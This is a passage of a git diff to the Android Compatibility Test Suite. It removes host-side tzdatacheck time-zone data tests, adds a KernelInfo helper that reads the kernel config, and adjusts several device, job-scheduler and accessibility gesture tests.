- .setDistroVersion(newMajorDistroVersion)
- .buildBytes();
- unpackOnHost(dataCurrentDir, distroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // Assert the current data directory was not touched.
- assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
- }
-
- // {dataDir}/current is valid but the tz_version file in /system is missing.
- public void testSystemTzVersionFileMissing() throws Exception {
- // Deliberately not writing anything in /system here.
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
- unpackOnHost(dataCurrentDir, validDistroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(6, runTzDataCheckOnDevice());
-
- // Assert the current data directory was not touched.
- assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
- }
-
- // {dataDir}/current is valid but the tz_version file in /system is junk.
- public void testSystemTzVersionFileCorrupt() throws Exception {
- // Set up the /system directory structure on host.
- byte[] invalidTzDataBytes = new byte[20];
- Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), invalidTzDataBytes);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- byte[] validDistroBytes = createValidDistroBuilder().buildBytes();
- unpackOnHost(dataCurrentDir, validDistroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(7, runTzDataCheckOnDevice());
-
- // Assert the current data directory was not touched.
- assertDeviceDirContainsDistro(dataCurrentDir, validDistroBytes);
- }
-
- // {dataDir}/current is valid and the tz_version file in /system is for older data.
- public void testSystemTzRulesOlder() throws Exception {
- // Set up the /system directory structure on host.
- createSystemTzVersionFileOnHost(RULES_VERSION_ONE);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- // Newer than RULES_VERSION_ONE in /system
- final String distroRulesVersion = RULES_VERSION_TWO;
- DistroVersion distroVersion = new DistroVersion(
- TzDataSetVersion.currentFormatMajorVersion(),
- TzDataSetVersion.currentFormatMinorVersion(), distroRulesVersion, VALID_REVISION);
- byte[] distroBytes = createValidDistroBuilder()
- .setDistroVersion(distroVersion)
- .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
- .buildBytes();
- unpackOnHost(dataCurrentDir, distroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // Assert the current data directory was not touched.
- assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
- }
-
- // {dataDir}/current is valid and the tz_version file in /system is the same. Data dir should be
- // kept.
- public void testSystemTzVersionSame() throws Exception {
- // Set up the /system directory structure on host.
- final String systemRulesVersion = VALID_RULES_VERSION;
- createSystemTzVersionFileOnHost(systemRulesVersion);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- DistroVersion distroVersion = new DistroVersion(
- TzDataSetVersion.currentFormatMajorVersion(),
- TzDataSetVersion.currentFormatMinorVersion(),
- systemRulesVersion,
- VALID_REVISION);
- byte[] distroBytes = createValidDistroBuilder()
- .setDistroVersion(distroVersion)
- .setTzDataFile(createValidTzDataBytes(systemRulesVersion))
- .buildBytes();
- unpackOnHost(dataCurrentDir, distroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // Assert the current data directory was not touched.
- assertDeviceDirContainsDistro(dataCurrentDir, distroBytes);
- }
-
- // {dataDir}/current is valid and the tzdata file in /system is the newer.
- public void testSystemTzVersionNewer() throws Exception {
- // Set up the /system directory structure on host.
- String systemRulesVersion = RULES_VERSION_TWO;
- createSystemTzVersionFileOnHost(systemRulesVersion);
-
- // Set up the /data directory structure on host.
- PathPair dataCurrentDir = mDataDir.createSubPath(CURRENT_DIR_NAME);
- String distroRulesVersion = RULES_VERSION_ONE; // Older than the system version.
- DistroVersion distroVersion = new DistroVersion(
- TzDataSetVersion.currentFormatMajorVersion(),
- TzDataSetVersion.currentFormatMinorVersion(),
- distroRulesVersion,
- VALID_REVISION);
- byte[] distroBytes = createValidDistroBuilder()
- .setDistroVersion(distroVersion)
- .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
- .buildBytes();
- unpackOnHost(dataCurrentDir, distroBytes);
-
- // Push the host test directory and contents to the device.
- pushHostTestDirToDevice();
-
- // Execute tzdatacheck and check the status code.
- assertEquals(0, runTzDataCheckOnDevice());
-
- // It is important the dataCurrentDir is deleted in this case - this test case is the main
- // reason tzdatacheck exists.
- assertDevicePathDoesNotExist(dataCurrentDir);
- }
-
- private void createSystemTzVersionFileOnHost(String systemRulesVersion) throws Exception {
- byte[] systemTzData = createValidTzVersionBytes(systemRulesVersion);
- Files.write(mSystemDir.hostPath.resolve(SYSTEM_TZ_VERSION_FILE_NAME), systemTzData);
- }
-
- private static void createStagedUninstallOnHost(PathPair stagedDir) throws Exception {
- createHostDirectory(stagedDir);
-
- PathPair uninstallTombstoneFile = stagedDir.createSubPath(UNINSTALL_TOMBSTONE_FILE_NAME);
- // Create an empty file.
- new FileOutputStream(uninstallTombstoneFile.hostFile()).close();
- }
-
- private static void unpackOnHost(PathPair path, byte[] distroBytes) throws Exception {
- createHostDirectory(path);
- new TimeZoneDistro(distroBytes).extractTo(path.hostFile());
- }
-
- private static TimeZoneDistroBuilder createValidDistroBuilder() throws Exception {
- String distroRulesVersion = VALID_RULES_VERSION;
- DistroVersion validDistroVersion =
- new DistroVersion(
- TzDataSetVersion.currentFormatMajorVersion(),
- TzDataSetVersion.currentFormatMinorVersion(),
- distroRulesVersion, VALID_REVISION);
- return new TimeZoneDistroBuilder()
- .setDistroVersion(validDistroVersion)
- .setTzDataFile(createValidTzDataBytes(distroRulesVersion))
- .setIcuDataFile(new byte[10]);
- }
-
- private static byte[] createValidTzDataBytes(String rulesVersion) {
- return new ZoneInfoTestHelper.TzDataBuilder()
- .initializeToValid()
- .setHeaderMagic("tzdata" + rulesVersion)
- .build();
- }
-
- private static byte[] createValidTzVersionBytes(String rulesVersion) throws Exception {
- return new TzDataSetVersion(
- TzDataSetVersion.currentFormatMajorVersion(),
- TzDataSetVersion.currentFormatMinorVersion(),
- rulesVersion,
- VALID_REVISION)
- .toBytes();
- }
-
- private int runTzDataCheckOnDevice() throws Exception {
- return runTzDataCheckWithArgs(new String[] { mSystemDir.devicePath, mDataDir.devicePath });
- }
-
- private int runTzDataCheckWithArgs(String[] args) throws Exception {
- String command = createTzDataCheckCommand(mDeviceAndroidRootDir, args);
- return executeCommandOnDeviceWithResultCode(command).statusCode;
- }
-
- private static String createTzDataCheckCommand(String rootDir, String[] args) {
- StringJoiner joiner = new StringJoiner(" ");
- String tzDataCheckCommand = rootDir + "/bin/tzdatacheck";
- joiner.add(tzDataCheckCommand);
- for (String arg : args) {
- joiner.add(arg);
- }
- return joiner.toString();
- }
-
- private static void assertHostFileExists(Path path) {
- assertTrue(Files.exists(path));
- }
-
- private String executeCommandOnDeviceRaw(String command) throws DeviceNotAvailableException {
- return getDevice().executeShellCommand(command);
- }
-
- private void createDeviceDirectory(PathPair dir) throws DeviceNotAvailableException {
- executeCommandOnDeviceRaw("mkdir -p " + dir.devicePath);
- }
-
- private static void createHostDirectory(PathPair dir) throws Exception {
- Files.createDirectory(dir.hostPath);
- }
-
- private static class ShellResult {
- final String output;
- final int statusCode;
-
- private ShellResult(String output, int statusCode) {
- this.output = output;
- this.statusCode = statusCode;
- }
- }
-
- private ShellResult executeCommandOnDeviceWithResultCode(String command) throws Exception {
- // A file to hold the script we're going to create.
- PathPair scriptFile = mTestRootDir.createSubPath("script.sh");
- // A file to hold the output of the script.
- PathPair scriptOut = mTestRootDir.createSubPath("script.out");
-
- // The content of the script. Runs the command, capturing stdout and stderr to scriptOut
- // and printing the result code.
- String hostScriptContent = command + " > " + scriptOut.devicePath + " 2>&1 ; echo -n $?";
-
- // Parse and return the result.
- try {
- Files.write(scriptFile.hostPath, hostScriptContent.getBytes(StandardCharsets.US_ASCII));
-
- // Push the script to the device.
- pushFile(scriptFile);
-
- // Execute the script using "sh".
- String execCommandUnderShell =
- mDeviceAndroidRootDir + "/bin/sh " + scriptFile.devicePath;
- String resultCodeString = executeCommandOnDeviceRaw(execCommandUnderShell);
-
- // Pull back scriptOut to the host and read the content.
- pullFile(scriptOut);
- byte[] outputBytes = Files.readAllBytes(scriptOut.hostPath);
- String output = new String(outputBytes, StandardCharsets.US_ASCII);
-
- int resultCode;
- try {
- resultCode = Integer.parseInt(resultCodeString);
- } catch (NumberFormatException e) {
- fail("Command: " + command
- + " returned a non-integer: \"" + resultCodeString + "\""
- + ", output=\"" + output + "\"");
- return null;
- }
- return new ShellResult(output, resultCode);
- } finally {
- deleteDeviceFile(scriptFile, false /* failOnError */);
- deleteDeviceFile(scriptOut, false /* failOnError */);
- deleteHostFile(scriptFile, false /* failOnError */);
- deleteHostFile(scriptOut, false /* failOnError */);
- }
- }
-
- private void pushHostTestDirToDevice() throws Exception {
- assertTrue(getDevice().pushDir(mTestRootDir.hostFile(), mTestRootDir.devicePath));
- }
-
- private void pullFile(PathPair file) throws DeviceNotAvailableException {
- assertTrue("Could not pull file " + file.devicePath + " to " + file.hostFile(),
- getDevice().pullFile(file.devicePath, file.hostFile()));
- }
-
- private void pushFile(PathPair file) throws DeviceNotAvailableException {
- assertTrue("Could not push file " + file.hostFile() + " to " + file.devicePath,
- getDevice().pushFile(file.hostFile(), file.devicePath));
- }
-
- private void deleteHostFile(PathPair file, boolean failOnError) {
- try {
- Files.deleteIfExists(file.hostPath);
- } catch (IOException e) {
- if (failOnError) {
- fail(e);
- }
- }
- }
-
- private void deleteDeviceDirectory(PathPair dir, boolean failOnError)
- throws DeviceNotAvailableException {
- String deviceDir = dir.devicePath;
- try {
- executeCommandOnDeviceRaw("rm -r " + deviceDir);
- } catch (Exception e) {
- if (failOnError) {
- throw deviceFail(e);
- }
- }
- }
-
- private void deleteDeviceFile(PathPair file, boolean failOnError)
- throws DeviceNotAvailableException {
- try {
- assertDevicePathIsFile(file);
- executeCommandOnDeviceRaw("rm " + file.devicePath);
- } catch (Exception e) {
- if (failOnError) {
- throw deviceFail(e);
- }
- }
- }
-
- private static void deleteHostDirectory(PathPair dir, final boolean failOnError) {
- Path hostPath = dir.hostPath;
- if (Files.exists(hostPath)) {
- Consumer<Path> pathConsumer = file -> {
- try {
- Files.delete(file);
- } catch (Exception e) {
- if (failOnError) {
- fail(e);
- }
- }
- };
-
- try {
- Files.walk(hostPath).sorted(Comparator.reverseOrder()).forEach(pathConsumer);
- } catch (IOException e) {
- fail(e);
- }
- }
- }
-
- private void assertDeviceFileExists(String s) throws DeviceNotAvailableException {
- assertTrue(getDevice().doesFileExist(s));
- }
-
- private void assertDevicePathExists(PathPair path) throws DeviceNotAvailableException {
- assertDeviceFileExists(path.devicePath);
- }
-
- private void assertDeviceDirContainsDistro(PathPair distroPath, byte[] expectedDistroBytes)
- throws Exception {
- // Pull back just the version file and compare it.
- File localFile = mTestRootDir.createSubPath("temp.file").hostFile();
- try {
- String remoteVersionFile = distroPath.devicePath + "/"
- + TimeZoneDistro.DISTRO_VERSION_FILE_NAME;
- assertTrue("Could not pull file " + remoteVersionFile + " to " + localFile,
- getDevice().pullFile(remoteVersionFile, localFile));
-
- byte[] bytes = Files.readAllBytes(localFile.toPath());
- assertArrayEquals(bytes,
- new TimeZoneDistro(expectedDistroBytes).getDistroVersion().toBytes());
- } finally {
- localFile.delete();
- }
- }
-
- private void assertDevicePathDoesNotExist(PathPair path) throws DeviceNotAvailableException {
- assertFalse(getDevice().doesFileExist(path.devicePath));
- }
-
- private void assertDevicePathIsFile(PathPair path) throws DeviceNotAvailableException {
- // This check cannot rely on getDevice().getFile(devicePath).isDirectory() here because that
- // requires that the user has rights to list all files beneath each and every directory in
- // the path. That is not the case for the shell user and the /data and /data/local
- // directories. http://b/35753041.
- String output = executeCommandOnDeviceRaw("stat -c %F " + path.devicePath);
- assertTrue(path.devicePath + " not a file. Received: " + output,
- output.startsWith("regular") && output.endsWith("file\n"));
- }
-
- private static DeviceNotAvailableException deviceFail(Exception e)
- throws DeviceNotAvailableException {
- if (e instanceof DeviceNotAvailableException) {
- throw (DeviceNotAvailableException) e;
- }
- fail(e);
- return null;
- }
-
- private static void fail(Exception e) {
- e.printStackTrace();
- fail(e.getMessage());
- }
-
- /** A path that has equivalents on both host and device. */
- private static class PathPair {
- private final Path hostPath;
- private final String devicePath;
-
- PathPair(Path hostPath, String devicePath) {
- this.hostPath = hostPath;
- this.devicePath = devicePath;
- }
-
- File hostFile() {
- return hostPath.toFile();
- }
-
- PathPair createSubPath(String s) {
- return new PathPair(hostPath.resolve(s), devicePath + "/" + s);
- }
- }
-}
diff --git a/libs/input/src/com/android/cts/input/VirtualInputDevice.java b/libs/input/src/com/android/cts/input/VirtualInputDevice.java
index 5c8879c..483b454 100644
--- a/libs/input/src/com/android/cts/input/VirtualInputDevice.java
+++ b/libs/input/src/com/android/cts/input/VirtualInputDevice.java
@@ -227,10 +227,15 @@
return;
}
// Check if the device is what we expected
- if (device.getVendorId() == mVendorId && device.getProductId() == mProductId
- && (device.getSources() & mSources) == mSources) {
- mDeviceId = device.getId();
- mDeviceAddedSignal.countDown();
+ if (device.getVendorId() == mVendorId && device.getProductId() == mProductId) {
+ if ((device.getSources() & mSources) == mSources) {
+ mDeviceId = device.getId();
+ mDeviceAddedSignal.countDown();
+ } else {
+ Log.i(TAG, "Mismatching sources for " + device);
+ }
+ } else {
+ Log.w(TAG, "Unexpected input device: " + device);
}
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/libs/kernelinfo/Android.bp
similarity index 63%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
copy to libs/kernelinfo/Android.bp
index ec76abd..5fcbf38 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ b/libs/kernelinfo/Android.bp
@@ -1,4 +1,4 @@
-// Copyright (C) 2021 The Android Open Source Project
+// Copyright (C) 2022 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -16,20 +16,13 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-android_test_helper_app {
- name: "CVE-2021-0481",
- defaults: ["cts_support_defaults"],
- srcs: ["src/**/*.java"],
- test_suites: [
- "cts",
- "vts10",
- "sts",
+java_library_static {
+ name: "cts-kernelinfo-lib",
+ sdk_version: "test_current",
+ srcs: [
+ "src/**/*.kt",
],
static_libs: [
"androidx.test.rules",
- "androidx.test.uiautomator_uiautomator",
- "androidx.test.core",
- "androidx.appcompat_appcompat",
],
- sdk_version: "current",
}
diff --git a/libs/kernelinfo/OWNERS b/libs/kernelinfo/OWNERS
new file mode 100644
index 0000000..1344314
--- /dev/null
+++ b/libs/kernelinfo/OWNERS
@@ -0,0 +1,7 @@
+arthurhung@google.com
+hcutts@google.com
+joseprio@google.com
+michaelwr@google.com
+prabirmsp@google.com
+svv@google.com
+vdevmurari@google.com
\ No newline at end of file
diff --git a/libs/kernelinfo/src/com/android/cts/kernelinfo/KernelInfo.kt b/libs/kernelinfo/src/com/android/cts/kernelinfo/KernelInfo.kt
new file mode 100644
index 0000000..1ce3bd9
--- /dev/null
+++ b/libs/kernelinfo/src/com/android/cts/kernelinfo/KernelInfo.kt
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.kernelinfo
+
+import android.app.UiAutomation
+import android.os.ParcelFileDescriptor
+import android.os.VintfRuntimeInfo
+import android.text.TextUtils
+import android.util.Pair
+import androidx.test.platform.app.InstrumentationRegistry
+import java.io.BufferedReader
+import java.io.InputStream
+import java.io.InputStreamReader
+import java.util.regex.Pattern
+import java.util.stream.Collectors
+import org.junit.Assert.fail
+
+private fun isComment(s: String): Boolean {
+ return s.trim().startsWith("#")
+}
+
+private fun compareMajorMinorVersion(s1: String, s2: String): Int {
+ val v1: Pair<Int, Int> = getVersionFromString(s1)
+ val v2: Pair<Int, Int> = getVersionFromString(s2)
+ return if (v1.first == v2.first) {
+ Integer.compare(v1.second, v2.second)
+ } else {
+ Integer.compare(v1.first, v2.first)
+ }
+}
+
+private fun getVersionFromString(version: String): Pair<Int, Int> {
+ // Only gets major and minor number of the version string.
+ val versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*")
+ val m = versionPattern.matcher(version)
+ if (!m.matches()) {
+ fail("Cannot parse kernel version: $version")
+ }
+ val major = m.group(1).toInt()
+ val minor = if (TextUtils.isEmpty(m.group(3))) 0 else m.group(3).toInt()
+ return Pair(major, minor)
+}
+
+/**
+ * A class that reads various kernel properties
+ */
+abstract class KernelInfo {
+ companion object {
+ /*
+ * The kernel configs on this device. The value is cached.
+ */
+ private val sConfigs: Set<String>
+
+ /**
+ * Return true if the specified config is enabled, false otherwise.
+ */
+ @JvmStatic
+ fun hasConfig(config: String): Boolean {
+ return sConfigs.contains("$config=y") || sConfigs.contains("$config=m")
+ }
+
+ /**
+ * Return true if the device's kernel version is newer than the provided version,
+ * false otherwise
+ */
+ @JvmStatic
+ fun isKernelVersionGreaterThan(version: String): Boolean {
+ val actualVersion = VintfRuntimeInfo.getKernelVersion()
+ return compareMajorMinorVersion(actualVersion, version) > 0
+ }
+
+ init {
+ val automation: UiAutomation = InstrumentationRegistry.getInstrumentation().uiAutomation
+ // Access /proc/config.gz from the shell domain, because it cannot be accessed from the
+ // app domain
+ val stdout: ParcelFileDescriptor =
+ automation.executeShellCommand("zcat /proc/config.gz")
+ val inputStream: InputStream = ParcelFileDescriptor.AutoCloseInputStream(stdout)
+ inputStream.use {
+ val reader = BufferedReader(InputStreamReader(inputStream))
+ // Remove any lines that are comments
+ sConfigs = reader.lines().filter { !isComment(it) }.collect(Collectors.toSet())
+ }
+ }
+ }
+}
diff --git a/tests/AlarmManager/AndroidTest.xml b/tests/AlarmManager/AndroidTest.xml
index a2f4521..161a887 100644
--- a/tests/AlarmManager/AndroidTest.xml
+++ b/tests/AlarmManager/AndroidTest.xml
@@ -20,6 +20,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/BlobStore/Android.bp b/tests/BlobStore/Android.bp
index 7fcb613..e1173d4 100644
--- a/tests/BlobStore/Android.bp
+++ b/tests/BlobStore/Android.bp
@@ -36,7 +36,13 @@
"cts",
"general-tests",
],
- sdk_version: "test_current"
+ sdk_version: "test_current",
+ data: [
+ ":CtsBlobStoreTestHelper",
+ ":CtsBlobStoreTestHelperDiffSig",
+ ":CtsBlobStoreTestHelperDiffSig2",
+ ],
+ per_testcase_directory: true,
}
android_test_helper_app {
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index 8ab63ca..4de9f10 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -945,6 +945,10 @@
@Test
public void testRestrictingStopReason_Quota() throws Exception {
+ assumeTrue("app standby not enabled", mAppStandbyEnabled);
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
+ assumeFalse("not testable in leanback device", mLeanbackOnly);
+
// Reduce allowed time for testing.
mDeviceConfigStateHelper.set("qc_allowed_time_per_period_ms", "60000");
BatteryUtils.runDumpsysBatteryUnplug();
diff --git a/tests/JobSchedulerSharedUid/OWNERS b/tests/JobSchedulerSharedUid/OWNERS
index ef7929f..c1b2b78 100644
--- a/tests/JobSchedulerSharedUid/OWNERS
+++ b/tests/JobSchedulerSharedUid/OWNERS
@@ -1,2 +1,3 @@
# Bug component: 330738
-ctate@google.com
\ No newline at end of file
+
+include /tests/JobScheduler/OWNERS
\ No newline at end of file
diff --git a/tests/MediaProviderTranscode/AndroidTest.xml b/tests/MediaProviderTranscode/AndroidTest.xml
index 8dba741..1fdeb9e 100644
--- a/tests/MediaProviderTranscode/AndroidTest.xml
+++ b/tests/MediaProviderTranscode/AndroidTest.xml
@@ -32,4 +32,8 @@
<option name="runner" value="androidx.test.runner.AndroidJUnitRunner" />
<option name="hidden-api-checks" value="false"/>
</test>
+
+ <object type="module_controller" class="com.android.tradefed.testtype.suite.module.MainlineTestModuleController">
+ <option name="mainline-module-package-name" value="com.google.android.mediaprovider" />
+ </object>
</configuration>
diff --git a/tests/ServiceKillTest/app/src/com/android/cts/servicekilltestapp/ServiceKillTestService.java b/tests/ServiceKillTest/app/src/com/android/cts/servicekilltestapp/ServiceKillTestService.java
index 56384ad..6019fe4 100644
--- a/tests/ServiceKillTest/app/src/com/android/cts/servicekilltestapp/ServiceKillTestService.java
+++ b/tests/ServiceKillTest/app/src/com/android/cts/servicekilltestapp/ServiceKillTestService.java
@@ -116,9 +116,13 @@
@Override
public void run() {
logDebug("Main");
- mCurrentBenchmark.addEvent(Benchmark.Measure.MAIN, SystemClock.elapsedRealtime());
+ if (mWakeLock.isHeld()) {
+ mCurrentBenchmark.addEvent(Benchmark.Measure.MAIN, SystemClock.elapsedRealtime());
+ saveBenchmarkIfRequired(mCurrentBenchmark);
+ } else {
+ Log.w(TAG, "Wake lock broken");
+ }
mHandler.postDelayed(this, MAIN_REPEAT_MS);
- saveBenchmarkIfRequired(mCurrentBenchmark);
}
};
@@ -269,8 +273,12 @@
logDebug("Work");
long now = SystemClock.elapsedRealtime();
mHandler.post(() -> {
- mCurrentBenchmark.addEvent(Benchmark.Measure.WORK, now);
- saveBenchmarkIfRequired(mCurrentBenchmark);
+ if (mWakeLock.isHeld()) {
+ mCurrentBenchmark.addEvent(Benchmark.Measure.WORK, now);
+ saveBenchmarkIfRequired(mCurrentBenchmark);
+ } else {
+ Log.w(TAG, "Wake lock broken");
+ }
});
} catch (Throwable t) {
Log.e(TAG, "Error in scheduled execution ", t);
diff --git a/tests/accessibilityservice/Android.bp b/tests/accessibilityservice/Android.bp
index 3f5d8c7..f65d58d 100644
--- a/tests/accessibilityservice/Android.bp
+++ b/tests/accessibilityservice/Android.bp
@@ -39,5 +39,9 @@
"general-tests",
],
sdk_version: "test_current",
- data: [":CtsAccessibilityWidgetProvider"],
+ per_testcase_directory: true,
+ data: [
+ ":CtsInputMethod1",
+ ":CtsAccessibilityWidgetProvider",
+ ],
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
index 089aa58..31a30347 100755
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDetectorTest.java
@@ -46,6 +46,7 @@
import android.graphics.Path;
import android.graphics.Point;
import android.graphics.PointF;
+import android.graphics.RectF;
import android.platform.test.annotations.AppModeFull;
import android.util.DisplayMetrics;
import android.view.Display;
@@ -104,6 +105,7 @@
Point mCenter; // Center of screen. Gestures all start from this point.
PointF mTapLocation;
int mScaledTouchSlop;
+ RectF mDisplayBounds;
int mMaxAdjustedStrokeLenPxX;
int mMaxAdjustedStrokeLenPxY;
@Mock AccessibilityService.GestureResultCallback mGestureDispatchCallback;
@@ -144,8 +146,7 @@
mStrokeLenPxX = (int) (GESTURE_LENGTH_INCHES * metrics.xdpi);
// The threshold is determined by xdpi.
mStrokeLenPxY = mStrokeLenPxX;
- mMaxAdjustedStrokeLenPxX = metrics.widthPixels / 2;
- mMaxAdjustedStrokeLenPxY = metrics.heightPixels / 2;
+ mDisplayBounds = new RectF(0.0f, 0.0f, (float) metrics.widthPixels, (float) metrics.heightPixels);
final boolean screenWideEnough = metrics.widthPixels / 2 > mStrokeLenPxX;
final boolean screenHighEnough = metrics.heightPixels / 2 > mStrokeLenPxY;
mScreenBigEnough = screenWideEnough && screenHighEnough;
@@ -312,38 +313,30 @@
AccessibilityService.GESTURE_4_FINGER_TRIPLE_TAP,
displayId);
- testGesture(
- MultiFingerSwipe(displayId, 3, 0, dy),
- AccessibilityService.GESTURE_3_FINGER_SWIPE_DOWN,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 3, -dx, 0),
- AccessibilityService.GESTURE_3_FINGER_SWIPE_LEFT,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 3, dx, 0),
- AccessibilityService.GESTURE_3_FINGER_SWIPE_RIGHT,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 3, 0, -dy),
- AccessibilityService.GESTURE_3_FINGER_SWIPE_UP,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 4, 0, dy),
- AccessibilityService.GESTURE_4_FINGER_SWIPE_DOWN,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 4, -dx, 0),
- AccessibilityService.GESTURE_4_FINGER_SWIPE_LEFT,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 4, dx, 0),
- AccessibilityService.GESTURE_4_FINGER_SWIPE_RIGHT,
- displayId);
- testGesture(
- MultiFingerSwipe(displayId, 4, 0, -dy),
- AccessibilityService.GESTURE_4_FINGER_SWIPE_UP,
- displayId);
+ testMultiSwipeGesture(
+ displayId, 3, 0, dy,
+ AccessibilityService.GESTURE_3_FINGER_SWIPE_DOWN);
+ testMultiSwipeGesture(
+ displayId, 3, -dx, 0,
+ AccessibilityService.GESTURE_3_FINGER_SWIPE_LEFT);
+ testMultiSwipeGesture(
+ displayId, 3, dx, 0,
+ AccessibilityService.GESTURE_3_FINGER_SWIPE_RIGHT);
+ testMultiSwipeGesture(
+ displayId, 3, 0, -dy,
+ AccessibilityService.GESTURE_3_FINGER_SWIPE_UP);
+ testMultiSwipeGesture(
+ displayId, 4, 0, dy,
+ AccessibilityService.GESTURE_4_FINGER_SWIPE_DOWN);
+ testMultiSwipeGesture(
+ displayId, 4, -dx, 0,
+ AccessibilityService.GESTURE_4_FINGER_SWIPE_LEFT);
+ testMultiSwipeGesture(
+ displayId, 4, dx, 0,
+ AccessibilityService.GESTURE_4_FINGER_SWIPE_RIGHT);
+ testMultiSwipeGesture(
+ displayId, 4, 0, -dy,
+ AccessibilityService.GESTURE_4_FINGER_SWIPE_UP);
}
/** Convenient short alias to make a Point. */
@@ -396,6 +389,15 @@
// Wait for gesture recognizer, and check recognized gesture.
mService.assertGestureReceived(gestureId, displayId);
}
+
+ private void testMultiSwipeGesture(
+ int displayId, int fingerCount, int dx, int dy, int gestureId) {
+ GestureDescription gesture = MultiFingerSwipe(displayId, fingerCount, dx, dy);
+ if (gesture != null) {
+ testGesture(gesture, gestureId, displayId);
+ }
+ }
+
/** Create a path from startPoint, moving by delta1, then delta2. (delta2 may be null.) */
Path linePath(Point startPoint, Point delta1, Point delta2) {
Path path = new Path();
@@ -641,14 +643,18 @@
adjustStrokeDurationForSlop(STROKE_MS, dx, slopAdjustedDx),
adjustStrokeDurationForSlop(STROKE_MS, dy, slopAdjustedDy));
+ final float fingerOffsetSum = (fingerCount - 1) * fingerOffset;
final PointF tapLocation = new PointF(mTapLocation);
- final float locationOffsetX = (fingerCount - 1) * fingerOffset;
- tapLocation.offset(dx > 0 ? -locationOffsetX : locationOffsetX , 0);
+
+ // Center the length of the swipe gesture on screen, instead of starting at the centre.
+ // This includes extra room required for multiple fingers.
+ adjustTapLocation(tapLocation, fingerOffsetSum, slopAdjustedDx, slopAdjustedDy);
+
+ // If the tap location is out of bounds, there is no room for this manoeuvre.
+ if (!mDisplayBounds.contains(tapLocation.x, tapLocation.y)) {
+ return null;
+ }
for (int currentFinger = 0; currentFinger < fingerCount; ++currentFinger) {
- // Make sure adjustments don't take us outside of screen boundaries.
- assertTrue(slopAdjustedDx + (fingerOffset * currentFinger) < (mMaxAdjustedStrokeLenPxX
- + locationOffsetX));
- assertTrue(slopAdjustedDy < mMaxAdjustedStrokeLenPxY);
builder.addStroke(
GestureUtils.swipe(
add(tapLocation, fingerOffset * currentFinger, 0),
@@ -661,9 +667,9 @@
private float adjustStrokeDeltaForSlop(int fingerCount, float strokeDelta) {
if (strokeDelta > 0.0f) {
- return Math.max(strokeDelta, fingerCount * mScaledTouchSlop + 10);
+ return strokeDelta + (fingerCount * mScaledTouchSlop);
} else if (strokeDelta < 0.0f) {
- return Math.min(strokeDelta, -(fingerCount * mScaledTouchSlop + 10));
+ return strokeDelta - (fingerCount * mScaledTouchSlop);
}
return strokeDelta;
}
@@ -678,4 +684,21 @@
